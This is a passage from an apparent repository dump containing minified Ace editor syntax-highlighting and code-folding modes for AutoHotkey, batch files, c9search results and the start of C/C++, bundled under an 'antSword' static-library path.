ordPropertyGet|WordPropertySet|WordQuit|ce|comments-end|comments-start|cs|include|include-once|NoTrayIcon|RequireAdmin|AutoIt3Wrapper_Au3Check_Parameters|AutoIt3Wrapper_Au3Check_Stop_OnWarning|AutoIt3Wrapper_Change2CUI|AutoIt3Wrapper_Compression|AutoIt3Wrapper_cvsWrapper_Parameters|AutoIt3Wrapper_Icon|AutoIt3Wrapper_Outfile|AutoIt3Wrapper_Outfile_Type|AutoIt3Wrapper_Plugin_Funcs|AutoIt3Wrapper_Res_Comment|AutoIt3Wrapper_Res_Description|AutoIt3Wrapper_Res_Field|AutoIt3Wrapper_Res_File_Add|AutoIt3Wrapper_Res_Fileversion|AutoIt3Wrapper_Res_FileVersion_AutoIncrement|AutoIt3Wrapper_Res_Icon_Add|AutoIt3Wrapper_Res_Language|AutoIt3Wrapper_Res_LegalCopyright|AutoIt3Wrapper_res_requestedExecutionLevel|AutoIt3Wrapper_Res_SaveSource|AutoIt3Wrapper_Run_After|AutoIt3Wrapper_Run_Au3check|AutoIt3Wrapper_Run_Before|AutoIt3Wrapper_Run_cvsWrapper|AutoIt3Wrapper_Run_Debug_Mode|AutoIt3Wrapper_Run_Obfuscator|AutoIt3Wrapper_Run_Tidy|AutoIt3Wrapper_Tidy_Stop_OnError|AutoIt3Wrapper_UseAnsi|AutoIt3Wrapper_UseUpx|AutoIt3Wrapper_UseX64|AutoIt3Wrapper_Version|EndRegion|forceref|Obfuscator_Ignore_Funcs|Obfuscator_Ignore_Variables|Obfuscator_Parameters|Region|Tidy_Parameters\",t=\"AppDataCommonDir|AppDataDir|AutoItExe|AutoItPID|AutoItUnicode|AutoItVersion|AutoItX64|COM_EventObj|CommonFilesDir|Compiled|ComputerName|ComSpec|CR|CRLF|DesktopCommonDir|DesktopDepth|DesktopDir|DesktopHeight|DesktopRefresh|DesktopWidth|DocumentsCommonDir|error|exitCode|exitMethod|extended|FavoritesCommonDir|FavoritesDir|GUI_CtrlHandle|GUI_CtrlId|GUI_DragFile|GUI_DragId|GUI_DropId|GUI_WinHandle|HomeDrive|HomePath|HomeShare|HotKeyPressed|HOUR|InetGetActive|InetGetBytesRead|IPAddress1|IPAddress2|IPAddress3|IPAddress4|KBLayout|LF|LogonDNSDomain|LogonDomain|LogonServer|MDAY|MIN|MON|MyDocumentsDir|NumParams|OSBuild|OSLang|OSServicePack|OSTYPE|OSVersion|ProcessorArch|ProgramFilesDir|ProgramsCommonDir|ProgramsDir|ScriptDir|ScriptFullPath|ScriptLineNumber|ScriptName|SEC|StartMenuCommonDir|StartMenuDir|StartupCommonDir|StartupDir|SW_DISABLE|SW_ENABLE|SW_HIDE|SW_LOCK|SW_MAXIMIZE|SW_MINIMIZE|SW_RESTORE|SW_SHOW|SW_SHOWDEFAULT|SW_SHOWMAXIMIZED|SW_SHOWMINIMIZED|SW_SHOWMINNOACTIVE|SW_SHOWNA|SW_SHOWNOACTIVATE|SW_SHOWNORMAL|SW_UNLOCK|SystemDir|TAB|TempDir|TRAY_ID|TrayIconFlashing|TrayIconVisible|UserName|UserProfileDir|WDAY|WindowsDir|WorkingDir|YDAY|YEAR\";this.$rules={start:[{token:\"comment.line.ahk\",regex:\"(?:^| );.*$\"},{token:\"comment.block.ahk\",regex:\"/\\\\*\",push:[{token:\"comment.block.ahk\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.ahk\"}]},{token:\"doc.comment.ahk\",regex:\"#cs\",push:[{token:\"doc.comment.ahk\",regex:\"#ce\",next:\"pop\"},{defaultToken:\"doc.comment.ahk\"}]},{token:\"keyword.command.ahk\",regex:\"(?:\\\\b|^)(?:allowsamelinecomments|clipboardtimeout|commentflag|errorstdout|escapechar|hotkeyinterval|hotkeymodifiertimeout|hotstring|include|includeagain|installkeybdhook|installmousehook|keyhistory|ltrim|maxhotkeysperinterval|maxmem|maxthreads|maxthreadsbuffer|maxthreadsperhotkey|noenv|notrayicon|persistent|singleinstance|usehook|winactivateforce|autotrim|blockinput|click|clipwait|continue|control|controlclick|controlfocus|controlget|controlgetfocus|controlgetpos|controlgettext|controlmove|controlsend|controlsendraw|controlsettext|coordmode|critical|detecthiddentext|detecthiddenwindows|drive|driveget|drivespacefree|edit|endrepeat|envadd|envdiv|envget|envmult|envset|envsub|envupdate|exit|exitapp|fileappend|filecopy|filecopydir|filecreatedir|filecreateshortcut|filedelete|filegetattrib|filegetshortcut|filegetsize|filegettime|filegetversion|fileinstall|filemove|filemovedir|fileread|filereadline|filerecycle|filerecycleempty|fileremovedir|fileselectfile|fileselectfolder|filesetattrib|filesettime|formattime|getkeystate|gosub|goto|groupactivate|groupadd|groupclose|groupdeactivate|gui|guicontrol|guicontrolget|hideautoitwin|hotkey|ifequal|ifexist|ifgreater|ifgreaterorequal|ifinstring|ifless|iflessorequal|ifmsgbox|ifnotequal|ifnotexist|ifnotinstring|ifwinactive|ifwinexist|ifwinnotactive|ifwinnotexist|imagesearch|inidelete|iniread|iniwrite|input|inputbox|keyhistory|keywait|listhotkeys|listlines|listvars|menu|mouseclick|mouseclickdrag|mousegetpos|mousemove|msgbox|onexit|outputdebug|pause|pixelgetcolor|pixelsearch|postmessage|process|progress|random|regdelete|regread|regwrite|reload|repeat|run|runas|runwait|send|sendevent|sendinput|sendmode|sendplay|sendmessage|sendraw|setbatchlines|setcapslockstate|setcontroldelay|setdefaultmousespeed|setenv|setformat|setkeydelay|setmousedelay|setnumlockstate|setscrolllockstate|setstorecapslockmode|settimer|settitlematchmode|setwindelay|setworkingdir|shutdown|sleep|sort|soundbeep|soundget|soundgetwavevolume|soundplay|soundset|soundsetwavevolume|splashimage|splashtextoff|splashtexton|splitpath|statusbargettext|statusbarwait|stringcasesense|stringgetpos|stringleft|stringlen|stringlower|stringmid|stringreplace|stringright|stringsplit|stringtrimleft|stringtrimright|stringupper|suspend|sysget|thread|tooltip|transform|traytip|urldownloadtofile|while|winactivate|winactivatebottom|winclose|winget|wingetactivestats|wingetactivetitle|wingetclass|wingetpos|wingettext|wingettitle|winhide|winkill|winmaximize|winmenuselectitem|winminimize|winminimizeall|winminimizeallundo|winmove|winrestore|winset|winsettitle|winshow|winwait|winwaitactive|winwaitclose|winwaitnotactive)\\\\b\",caseInsensitive:!0},{token:\"keyword.control.ahk\",regex:\"(?:\\\\b|^)(?:if|else|return|loop|break|for|while|global|local|byref)\\\\b\",caseInsensitive:!0},{token:\"support.function.ahk\",regex:\"(?:\\\\b|^)(?:abs|acos|asc|asin|atan|ceil|chr|cos|dllcall|exp|fileexist|floor|getkeystate|il_add|il_create|il_destroy|instr|substr|isfunc|islabel|ln|log|lv_add|lv_delete|lv_deletecol|lv_getcount|lv_getnext|lv_gettext|lv_insert|lv_insertcol|lv_modify|lv_modifycol|lv_setimagelist|mod|onmessage|numget|numput|registercallback|regexmatch|regexreplace|round|sin|tan|sqrt|strlen|sb_seticon|sb_setparts|sb_settext|tv_add|tv_delete|tv_getchild|tv_getcount|tv_getnext|tv_get|tv_getparent|tv_getprev|tv_getselection|tv_gettext|tv_modify|varsetcapacity|winactive|winexist)\\\\b\",caseInsensitive:!0},{token:\"variable.predefined.ahk\",regex:\"(?:\\\\b|^)(?:a_ahkpath|a_ahkversion|a_appdata|a_appdatacommon|a_autotrim|a_batchlines|a_caretx|a_carety|a_computername|a_controldelay|a_cursor|a_dd|a_ddd|a_dddd|a_defaultmousespeed|a_desktop|a_desktopcommon|a_detecthiddentext|a_detecthiddenwindows|a_endchar|a_eventinfo|a_exitreason|a_formatfloat|a_formatinteger|a_gui|a_guievent|a_guicontrol|a_guicontrolevent|a_guiheight|a_guiwidth|a_guix|a_guiy|a_hour|a_iconfile|a_iconhidden|a_iconnumber|a_icontip|a_index|a_ipaddress1|a_ipaddress2|a_ipaddress3|a_ipaddress4|a_isadmin|a_iscompiled|a_iscritical|a_ispaused|a_issuspended|a_keydelay|a_language|a_lasterror|a_linefile|a_linenumber|a_loopfield|a_loopfileattrib|a_loopfiledir|a_loopfileext|a_loopfilefullpath|a_loopfilelongpath|a_loopfilename|a_loopfileshortname|a_loopfileshortpath|a_loopfilesize|a_loopfilesizekb|a_loopfilesizemb|a_loopfiletimeaccessed|a_loopfiletimecreated|a_loopfiletimemodified|a_loopreadline|a_loopregkey|a_loopregname|a_loopregsubkey|a_loopregtimemodified|a_loopregtype|a_mday|a_min|a_mm|a_mmm|a_mmmm|a_mon|a_mousedelay|a_msec|a_mydocuments|a_now|a_nowutc|a_numbatchlines|a_ostype|a_osversion|a_priorhotkey|programfiles|a_programfiles|a_programs|a_programscommon|a_screenheight|a_screenwidth|a_scriptdir|a_scriptfullpath|a_scriptname|a_sec|a_space|a_startmenu|a_startmenucommon|a_startup|a_startupcommon|a_stringcasesense|a_tab|a_temp|a_thisfunc|a_thishotkey|a_thislabel|a_thismenu|a_thismenuitem|a_thismenuitempos|a_tickcount|a_timeidle|a_timeidlephysical|a_timesincepriorhotkey|a_timesincethishotkey|a_titlematchmode|a_titlematchmodespeed|a_username|a_wday|a_windelay|a_windir|a_workingdir|a_yday|a_year|a_yweek|a_yyyy|clipboard|clipboardall|comspec|errorlevel)\\\\b\",caseInsensitive:!0},{token:\"support.constant.ahk\",regex:\"(?:\\\\b|^)(?:shift|lshift|rshift|alt|lalt|ralt|control|lcontrol|rcontrol|ctrl|lctrl|rctrl|lwin|rwin|appskey|altdown|altup|shiftdown|shiftup|ctrldown|ctrlup|lwindown|lwinup|rwindown|rwinup|lbutton|rbutton|mbutton|wheelup|wheelleft|wheelright|wheeldown|xbutton1|xbutton2|joy1|joy2|joy3|joy4|joy5|joy6|joy7|joy8|joy9|joy10|joy11|joy12|joy13|joy14|joy15|joy16|joy17|joy18|joy19|joy20|joy21|joy22|joy23|joy24|joy25|joy26|joy27|joy28|joy29|joy30|joy31|joy32|joyx|joyy|joyz|joyr|joyu|joyv|joypov|joyname|joybuttons|joyaxes|joyinfo|space|tab|enter|escape|esc|backspace|bs|delete|del|insert|ins|pgup|pgdn|home|end|up|down|left|right|printscreen|ctrlbreak|pause|scrolllock|capslock|numlock|numpad0|numpad1|numpad2|numpad3|numpad4|numpad5|numpad6|numpad7|numpad8|numpad9|numpadmult|numpadadd|numpadsub|numpaddiv|numpaddot|numpaddel|numpadins|numpadclear|numpadup|numpaddown|numpadleft|numpadright|numpadhome|numpadend|numpadpgup|numpadpgdn|numpadenter|f1|f2|f3|f4|f5|f6|f7|f8|f9|f10|f11|f12|f13|f14|f15|f16|f17|f18|f19|f20|f21|f22|f23|f24|browser_back|browser_forward|browser_refresh|browser_stop|browser_search|browser_favorites|browser_home|volume_mute|volume_down|volume_up|media_next|media_prev|media_stop|media_play_pause|launch_mail|launch_media|launch_app1|launch_app2)\\\\b\",caseInsensitive:!0},{token:\"variable.parameter\",regex:\"(?:\\\\b|^)(?:pixel|mouse|screen|relative|rgb|ltrim|rtrim|join|low|belownormal|normal|abovenormal|high|realtime|ahk_id|ahk_pid|ahk_class|ahk_group|between|contains|in|is|integer|float|integerfast|floatfast|number|digit|xdigit|alpha|upper|lower|alnum|time|date|not|or|and|alwaysontop|topmost|top|bottom|transparent|transcolor|redraw|region|id|idlast|processname|minmax|controllist|count|list|capacity|statuscd|eject|lock|unlock|label|filesystem|label|setlabel|serial|type|status|static|seconds|minutes|hours|days|read|parse|logoff|close|error|single|tray|add|rename|check|uncheck|togglecheck|enable|disable|toggleenable|default|nodefault|standard|nostandard|color|delete|deleteall|icon|noicon|tip|click|show|mainwindow|nomainwindow|useerrorlevel|text|picture|pic|groupbox|button|checkbox|radio|dropdownlist|ddl|combobox|listbox|listview|datetime|monthcal|updown|slider|tab|tab2|statusbar|treeview|iconsmall|tile|report|sortdesc|nosort|nosorthdr|grid|hdr|autosize|range|xm|ym|ys|xs|xp|yp|font|resize|owner|submit|nohide|minimize|maximize|restore|noactivate|na|cancel|destroy|center|margin|maxsize|minsize|owndialogs|guiescape|guiclose|guisize|guicontextmenu|guidropfiles|tabstop|section|altsubmit|wrap|hscroll|vscroll|border|top|bottom|buttons|expand|first|imagelist|lines|wantctrla|wantf2|vis|visfirst|number|uppercase|lowercase|limit|password|multi|wantreturn|group|background|bold|italic|strike|underline|norm|backgroundtrans|theme|caption|delimiter|minimizebox|maximizebox|sysmenu|toolwindow|flash|style|exstyle|check3|checked|checkedgray|readonly|password|hidden|left|right|center|notab|section|move|focus|hide|choose|choosestring|text|pos|enabled|disabled|visible|lastfound|lastfoundexist|alttab|shiftalttab|alttabmenu|alttabandmenu|alttabmenudismiss|notimers|interrupt|priority|waitclose|blind|raw|unicode|deref|pow|bitnot|bitand|bitor|bitxor|bitshiftleft|bitshiftright|yes|no|ok|cancel|abort|retry|ignore|tryagain|on|off|all|hkey_local_machine|hkey_users|hkey_current_user|hkey_classes_root|hkey_current_config|hklm|hku|hkcu|hkcr|hkcc|reg_sz|reg_expand_sz|reg_multi_sz|reg_dword|reg_qword|reg_binary|reg_link|reg_resource_list|reg_full_resource_descriptor|reg_resource_requirements_list|reg_dword_big_endian)\\\\b\",caseInsensitive:!0},{keywordMap:{\"constant.language\":e},regex:\"\\\\w+\\\\b\"},{keywordMap:{\"variable.function\":t},regex:\"@\\\\w+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"keyword.operator.ahk\",regex:\"=|==|<>|:=|<|>|\\\\*|\\\\/|\\\\+|:|\\\\?|\\\\-\"},{token:\"punctuation.ahk\",regex:\"#|`|::|,|\\\\{|\\\\}|\\\\(|\\\\)|\\\\%\"},{token:[\"punctuation.quote.double\",\"string.quoted.ahk\",\"punctuation.quote.double\"],regex:'(\")((?:[^\"]|\"\")*)(\")'},{token:[\"label.ahk\",\"punctuation.definition.label.ahk\"],regex:\"^([^: ]+)(:)(?!:)\"}]},this.normalizeRules()};s.metaData={name:\"AutoHotKey\",scopeName:\"source.ahk\",fileTypes:[\"ahk\"],foldingStartMarker:\"^\\\\s*/\\\\*|^(?![^{]*?;|[^{]*?/\\\\*(?!.*?\\\\*/.*?\\\\{)).*?\\\\{\\\\s*($|;|/\\\\*(?!.*?\\\\*/.*\\\\S))\",foldingStopMarker:\"^\\\\s*\\\\*/|^\\\\s*\\\\}\"},r.inherits(s,i),t.AutoHotKeyHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/autohotkey\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/autohotkey_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./autohotkey_highlight_rules\").AutoHotKeyHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\";\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/autohotkey\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-batchfile.js",
    "content": "ace.define(\"ace/mode/batchfile_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"keyword.command.dosbatch\",regex:\"\\\\b(?:append|assoc|at|attrib|break|cacls|cd|chcp|chdir|chkdsk|chkntfs|cls|cmd|color|comp|compact|convert|copy|date|del|dir|diskcomp|diskcopy|doskey|echo|endlocal|erase|fc|find|findstr|format|ftype|graftabl|help|keyb|label|md|mkdir|mode|more|move|path|pause|popd|print|prompt|pushd|rd|recover|ren|rename|replace|restore|rmdir|set|setlocal|shift|sort|start|subst|time|title|tree|type|ver|verify|vol|xcopy)\\\\b\",caseInsensitive:!0},{token:\"keyword.control.statement.dosbatch\",regex:\"\\\\b(?:goto|call|exit)\\\\b\",caseInsensitive:!0},{token:\"keyword.control.conditional.if.dosbatch\",regex:\"\\\\bif\\\\s+not\\\\s+(?:exist|defined|errorlevel|cmdextversion)\\\\b\",caseInsensitive:!0},{token:\"keyword.control.conditional.dosbatch\",regex:\"\\\\b(?:if|else)\\\\b\",caseInsensitive:!0},{token:\"keyword.control.repeat.dosbatch\",regex:\"\\\\bfor\\\\b\",caseInsensitive:!0},{token:\"keyword.operator.dosbatch\",regex:\"\\\\b(?:EQU|NEQ|LSS|LEQ|GTR|GEQ)\\\\b\"},{token:[\"doc.comment\",\"comment\"],regex:\"(?:^|\\\\b)(rem)($|\\\\s.*$)\",caseInsensitive:!0},{token:\"comment.line.colons.dosbatch\",regex:\"::.*$\"},{include:\"variable\"},{token:\"punctuation.definition.string.begin.shell\",regex:'\"',push:[{token:\"punctuation.definition.string.end.shell\",regex:'\"',next:\"pop\"},{include:\"variable\"},{defaultToken:\"string.quoted.double.dosbatch\"}]},{token:\"keyword.operator.pipe.dosbatch\",regex:\"[|]\"},{token:\"keyword.operator.redirect.shell\",regex:\"&>|\\\\d*>&\\\\d*|\\\\d*(?:>>|>|<)|\\\\d*<&|\\\\d*<>\"}],variable:[{token:\"constant.numeric\",regex:\"%%\\\\w+|%[*\\\\d]|%\\\\w+%\"},{token:\"constant.numeric\",regex:\"%~\\\\d+\"},{token:[\"markup.list\",\"constant.other\",\"markup.list\"],regex:\"(%)(\\\\w+)(%?)\"}]},this.normalizeRules()};s.metaData={name:\"Batch File\",scopeName:\"source.dosbatch\",fileTypes:[\"bat\"]},r.inherits(s,i),t.BatchFileHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/batchfile\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/batchfile_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./batchfile_highlight_rules\").BatchFileHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"::\",this.blockComment=\"\",this.$id=\"ace/mode/batchfile\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-c9search.js",
    "content": "ace.define(\"ace/mode/c9search_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function o(e,t){try{return new RegExp(e,t)}catch(n){}}var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){this.$rules={start:[{tokenNames:[\"c9searchresults.constant.numeric\",\"c9searchresults.text\",\"c9searchresults.text\",\"c9searchresults.keyword\"],regex:\"(^\\\\s+[0-9]+)(:\\\\s)(.+)\",onMatch:function(e,t,n){var r=this.splitRegex.exec(e),i=this.tokenNames,s=[{type:i[0],value:r[1]},{type:i[1],value:r[2]}],o=n[1],u=r[3],a,f=0;if(o&&o.exec){o.lastIndex=0;while(a=o.exec(u)){var l=u.substring(f,a.index);f=o.lastIndex,l&&s.push({type:i[2],value:l});if(a[0])s.push({type:i[3],value:a[0]});else if(!l)break}}return f<u.length&&s.push({type:i[2],value:u.substr(f)}),s}},{token:[\"string\",\"text\"],regex:\"(\\\\S.*)(:$)\"},{regex:\"Searching for .*$\",onMatch:function(e,t,n){var r=e.split(\"\u0001\");if(r.length<3)return\"text\";var s,u,a,f=0,l=[{value:r[f++]+\"'\",type:\"text\"},{value:u=r[f++],type:\"text\"},{value:\"'\"+r[f++],type:\"text\"}];r[2]!==\" in\"&&(a=r[f],l.push({value:\"'\"+r[f++]+\"'\",type:\"text\"},{value:r[f++],type:\"text\"})),l.push({value:\" \"+r[f++]+\" \",type:\"text\"}),r[f+1]?(s=r[f+1],l.push({value:\"(\"+r[f+1]+\")\",type:\"text\"}),f+=1):f-=1;while(f++<r.length)r[f]&&l.push({value:r[f],type:\"text\"});a&&(u=a,s=\"\"),u&&(/regex/.test(s)||(u=i.escapeRegExp(u)),/whole/.test(s)&&(u=\"\\\\b\"+u+\"\\\\b\"));var c=u&&o(\"(\"+u+\")\",/ sensitive/.test(s)?\"g\":\"ig\");return c&&(n[0]=t,n[1]=c),l}},{regex:\"\\\\d+\",token:\"constant.numeric\"}]}};r.inherits(u,s),t.C9SearchHighlightRules=u}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/folding/c9search\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(){};r.inherits(o,s),function(){this.foldingStartMarker=/^(\\S.*\\:|Searching for.*)$/,this.foldingStopMarker=/^(\\s+|Found.*)$/,this.getFoldWidgetRange=function(e,t,n){var r=e.doc.getAllLines(n),s=r[n],o=/^(Found.*|Searching for.*)$/,u=/^(\\S.*\\:|\\s*)$/,a=o.test(s)?o:u,f=n,l=n;if(this.foldingStartMarker.test(s)){for(var c=n+1,h=e.getLength();c<h;c++)if(a.test(r[c]))break;l=c}else if(this.foldingStopMarker.test(s)){for(var c=n-1;c>=0;c--){s=r[c];if(a.test(s))break}f=c}if(f!=l){var p=s.length;return a===o&&(p=s.search(/\\(Found[^)]+\\)$|$/)),new i(f,p,l,0)}}}.call(o.prototype)}),ace.define(\"ace/mode/c9search\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/c9search_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/folding/c9search\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./c9search_highlight_rules\").C9SearchHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./folding/c9search\").FoldMode,a=function(){this.HighlightRules=s,this.$outdent=new o,this.foldingRules=new u};r.inherits(a,i),function(){this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t);return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/c9search\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/mode-c_cpp.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/c_cpp_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var 